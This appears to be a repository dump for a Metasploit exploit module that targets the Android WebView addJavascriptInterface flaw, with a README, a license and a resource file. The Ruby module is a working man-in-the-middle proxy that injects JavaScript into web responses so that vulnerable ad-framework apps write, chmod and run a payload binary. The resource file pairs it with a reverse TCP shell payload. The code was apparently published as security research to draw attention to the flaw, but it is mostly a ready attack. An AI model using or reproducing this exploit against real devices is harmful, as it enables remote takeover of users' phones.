├── LICENSE ├── README.md ├── add_js_interface_mitm.rb └── addjsif-exploit.msfrc /LICENSE: -------------------------------------------------------------------------------- 1 | License: BSD-3-clause 2 | 3 | Redistribution and use in source and binary forms, with or without modification, 4 | are permitted provided that the following conditions are met: 5 | . 6 | * Redistributions of source code must retain the above copyright notice, 7 | this list of conditions and the following disclaimer. 8 | . 9 | * Redistributions in binary form must reproduce the above copyright notice, 10 | this list of conditions and the following disclaimer in the documentation 11 | and/or other materials provided with the distribution. 12 | . 13 | * Neither the name of Rapid7 LLC nor the names of its contributors 14 | may be used to endorse or promote products derived from this software 15 | without specific prior written permission. 16 | . 17 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 18 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 19 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 20 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 21 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 22 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 23 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 24 | ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 25 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 26 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 27 | 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # addjsif 2 | 3 | Metasploit Exploit Module (MITM) for the Android addJavascriptInterface Issue that plagues Ad network framworks in Android apps. For more information, check out "[On the WebView addJavascriptInterface Saga](http://www.droidsec.org/news/2014/02/26/on-the-webview-addjsif-saga.html)" and refer to the references in the module itself. 4 | 5 | 6 | ## Motivation: 7 | 8 | This project was executed in order to bring more attention to the severity of this issue. 9 | 10 | 11 | ## What is still needed: 12 | 13 | More interface names per the list in the generate_getjsif method. These are the second (last) argument to the addJavascriptInterface function in the vulnerable WebView consumers. This will ensure the exploit works on the maximum number of vulnerable applications. 14 | 15 | 16 | ## Directions for testing: 17 | 18 | ### On your Metasploit host machine: 19 | 20 | 1. Check-out the http-proxy branch (not yet merged): 21 | 22 | ``` 23 | $ git clone https://github.com/jduck/metasploit-framework.git -b http-proxy 24 | ``` 25 | 26 | NOTE: if you have an existing metasploit-framework checkout, you can download less data using the following commands instead: 27 | 28 | ``` 29 | $ git add remote jduck https://github.com/jduck/metasploit-framework.git 30 | $ git fetch jduck 31 | $ git checkout jduck/http-proxy 32 | ``` 33 | 34 | 2. Create the modules/exploits/android/mitm/http directory inside the checkout. 35 | 36 | 3. Place the module in modules/exploits/android/mitm/http directory. 37 | 38 | 4. Run the exploit module using a configuration similar to that in the included addjsif-exploit.msfrc file. 39 | 40 | ``` 41 | $ msfconsole -nL -r addjsif-exploit.msfrc 42 | ``` 43 | 44 | ### On your Android test device: 45 | 46 | 1. Go to Settings->Wi-Fi 47 | 48 | 2. Long press an existing connected network or connect to the one where the Metasploit instance lives. 49 | 50 | 3. Choose "Modify Network" if you are using an existing connection 51 | 52 | 4. Scroll to the bottom (both connecting and modifying now) 53 | 54 | 5. Check the "Show advanced options" box 55 | 56 | 6. Scroll down to "Proxy settings" 57 | 58 | 7. Choose "Manual" from the drop-down 59 | 60 | 8. Scroll down to see the "Proxy hostname" and "Proxy port" fields 61 | 62 | 9. Enter the Metasploit instance's IP address 63 | 64 | 10. Enter the Metasploit module's SRVPORT (8081 in the included msfrc) 65 | 66 | 11. Utilize vulnerable applications 67 | 68 | 69 | ## Known Issues: 70 | 71 | The HTTP proxy code does not currently handle intercepting SSL traffic 72 | 73 | Occasionally requests being transparently proxied may cause Metasploit to lag and stop responding. This can be fixed by: 74 | 75 | ``` 76 | msf > threads -K 77 | msf > rexploit 78 | ``` 79 | 80 | The linux/armle/shell/reverse_tcp (staged payload) crashes on armv7 81 | 82 | 83 | -------------------------------------------------------------------------------- /add_js_interface_mitm.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This file is part of the Metasploit Framework and may be subject to 3 | # redistribution and commercial restrictions. Please see the Metasploit 4 | # web site for more information on licensing and terms of use. 5 | # http://metasploit.com/ 6 | ## 7 | 8 | require 'thread' 9 | require 'msf/core' 10 | require 'rex/proto/proxy/http' 11 | 12 | class Metasploit3 < Msf::Exploit::Remote 13 | 14 | include Msf::Auxiliary::Report 15 | 16 | def initialize(info = {}) 17 | super(update_info(info, 18 | 'Name' => 'Android WebView addJavascriptInterface MITM Code Execution', 19 | 'Description' => %q{ 20 | This module exploits an issue where MITM attackers can execute 21 | arbitrary code on vulnerable Android devices. The issue is rooted in 22 | the use of the addJavascriptInterface function, which exposes Java 23 | Reflection to Javascript executing within an affected WebView. By 24 | injecting Javascript into the stream, this module uploads and 25 | executes an automatically generated payload executable. 26 | 27 | This module relies on the Rex::Proto::Proxy::Http class to function. 28 | }, 29 | 'License' => MSF_LICENSE, 30 | 'Author' => [ 'jduck' ], 31 | 'References' => 32 | [ 33 | # None assigned yet? 34 | # ['CVE', '2013-'], 35 | # ['OSVDB', ''], 36 | # ['BID', ''], 37 | ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], 38 | ['URL', 'http://50.56.33.56/blog/?p=314'], 39 | ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'] 40 | ], 41 | 'Platform' => 'linux', 42 | 'Arch' => ARCH_ARMLE, 43 | 'Stance' => Msf::Exploit::Stance::Passive, 44 | 'DefaultOptions' => 45 | { 46 | 'PrependFork' => true 47 | }, 48 | 'Targets' => 49 | [ 50 | [ 'Automatic', {}], 51 | ], 52 | 'DisclosureDate' => 'Dec 21 2012', 53 | 'DefaultTarget' => 0)) 54 | 55 | register_options( 56 | [ 57 | OptString.new( 'SRVHOST', [ true, "The address to listen on", '0.0.0.0' ] ), 58 | OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 8080 ]), 59 | ], self.class) 60 | end 61 | 62 | def setup 63 | super 64 | @mutex = ::Mutex.new 65 | @hproxy = nil 66 | @getjsif = generate_getjsif() 67 | end 68 | 69 | def cleanup 70 | @mutex.synchronize do 71 | if( @hproxy ) 72 | print_status( "Stopping the HTTP proxy server" ) 73 | @hproxy.stop 74 | @hproxy = nil 75 | end 76 | end 77 | super 78 | end 79 | 80 | def generate_getjsif() 81 | jsifs = [ 82 | # greystripe 83 | 'AdState', 84 | 'MraidController', 85 | 'DeviceInfo', 86 | 'NetworkStatus', 87 | 'Accelerometer', 88 | 'FullScreenController', 89 | 'Video', 90 | 'Preferences', 91 | 'SdkLog', 92 | 'ResponseStatus', 93 | # beintoo 94 | 'Beintoo', 95 | 'ok', 96 | 'closebt', 97 | # mopub 98 | 'mopubUriInterface', 99 | # admob 100 | 'JsProxy', 101 | # AdView / MMAdView 102 | 'interface', 103 | # MobClix 104 | 'fullscreen', 105 | 'MOBCLIX', 106 | # unknown 107 | 'video', 108 | 'FUtil', 109 | 'FUtils', 110 | 'GC', 111 | 'demo', 112 | 'FileUtils', 113 | 'JsShow', 114 | # DroidGap 115 | 'GapCam', 116 | 'Geo', 117 | 'FileUtil', 118 | 'droidStorage', 119 | # Android docs example 120 | 'Android', 121 | # Baidu/QQ browser and Qvod player? 122 | 'js2java' 123 | ] 124 | 125 | js = "function tryifs() { " 126 | jsifs.each { |jsif| 127 | # for debugging, but must call getjsif() from body onload or later 128 | #js << " document.body.innerHTML += '
#{jsif} === ' + typeof(#{jsif});\n" 129 | js << "if (!(typeof #{jsif} === 'undefined')) try1(#{jsif},\"#{jsif}\"); " 130 | } 131 | js << "}"; 132 | js 133 | end 134 | 135 | def inject_html(body, js) 136 | inj_type = 'function' 137 | # Inject into html (method 1, function insertion) 138 | idx = (body =~ /function /i) 139 | if idx.nil? 140 | # Inject into html (method 2, beginning of script) 141 | idx = (body =~ /" 159 | newbody << body[idx+6, body.length] 160 | 161 | when 'in_script' 162 | newbody << "" 165 | newbody << body[idx, body.length] 166 | 167 | else 168 | newbody << js 169 | newbody << body[idx, body.length] 170 | 171 | end 172 | 173 | newbody 174 | end 175 | 176 | def on_http_request(cli, req) 177 | # we dont muck with requests... 178 | end 179 | 180 | def on_http_response(cli, res) 181 | # Print some status 182 | ct = res.headers['Content-Type'] || '' 183 | ct = ct.split(';').first || '' 184 | req = res.orig_req 185 | uri = req.uri_obj 186 | print_status("Processing response for: #{req.method} - #{uri.scheme} :// #{uri.host} : #{uri.port} #{uri.path} (#{ct})") 187 | 188 | # Build the JavaScript payload 189 | bin_data = Rex::Text.to_hex(payload.encoded_exe, '\\\\x') 190 | 191 | js = '' 192 | js << "function try1(j,n) { try { " 193 | # get the runtime so we can exec =) 194 | js << "var par = j.getClass().getName(); " 195 | js << "var m = j.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null); " 196 | js << "var data = \"#{bin_data}\"; " 197 | # get the process name, which will give us our data path =) 198 | js << "var p; " 199 | js << "p = m.invoke(null,null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); " 200 | js << "var path = '/data/data/'; var ch; while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } " 201 | js << "path += '/x'; " 202 | # build the binary, chmod it, and execute it. 203 | js << "p = m.invoke(null,null).exec(['/system/bin/sh', '-c', 'echo \"'+data+'\" > '+path]); p.waitFor(); " 204 | js << "p = m.invoke(null,null).exec(['chmod', '700', path]); p.waitFor(); " 205 | js << "p = m.invoke(null,null).exec([path]); p.waitFor(); " 206 | js << "} catch(e) { } } " 207 | js << @getjsif.dup 208 | js << " tryifs();" 209 | 210 | # Assume we're not going to inject anything... 211 | newbody = nil 212 | 213 | # Expand the data if its gzip'd 214 | if res.headers['Content-Encoding'] == 'gzip' 215 | res.body = Rex::Text.ungzip(res.body) 216 | end 217 | 218 | # JS injection is straight forward... 219 | if uri.path[-3,3] == ".js" 220 | # Inject into raw JavaScript 221 | newbody = js 222 | newbody << res.body 223 | 224 | elsif ct == "text/html" 225 | newbody = inject_html(res.body, js) 226 | if not newbody 227 | print_error("Failed to inject JS!") 228 | end 229 | 230 | end 231 | 232 | if newbody 233 | print_status("Inejcted JS into response!") 234 | res.body = newbody 235 | end 236 | 237 | # don't spam output with image data 238 | ct_type = ct.split('/').first 239 | if not newbody and ct != 'text/css' and not [ 'image', 'application' ].include? ct_type 240 | print_status("SENDING RESPONSE DATA: #{res.body.inspect}") 241 | end 242 | 243 | # Re-compress the data if its gzip'd 244 | if res.headers['Content-Encoding'] == 'gzip' 245 | res.body = Rex::Text.gzip(res.body) 246 | end 247 | 248 | # Make sure the content length header is correct 249 | res.headers['Content-Length'] = res.body.length 250 | end 251 | 252 | def exploit 253 | opts = { 254 | 'ServerHost' => datastore['SRVHOST'], 255 | 'ServerPort' => datastore['SRVPORT'], 256 | 'Context' => {'Msf' => framework, 'MsfExploit' => self} 257 | } 258 | 259 | @hproxy = Rex::Proto::Proxy::Http.new( 260 | datastore['SRVPORT'], 261 | datastore['SRVHOST'], 262 | false, 263 | datastore['Context']) 264 | 265 | print_status("Starting the HTTP proxy server") 266 | 267 | @hproxy.on_http_request_proc = Proc.new { |cli, req| 268 | on_http_request(cli, req) 269 | } 270 | @hproxy.on_http_response_proc = Proc.new { |cli, res| 271 | on_http_response(cli, res) 272 | } 273 | 274 | @hproxy.start 275 | @hproxy.wait 276 | end 277 | 278 | end 279 | 280 | -------------------------------------------------------------------------------- /addjsif-exploit.msfrc: -------------------------------------------------------------------------------- 1 | use exploit/android/mitm/http/add_js_interface_mitm 2 | 3 | setg SRVPORT 8081 4 | set PAYLOAD linux/armle/shell_reverse_tcp 5 | set TARGET 0 6 | exploit -j 7 | 8 | --------------------------------------------------------------------------------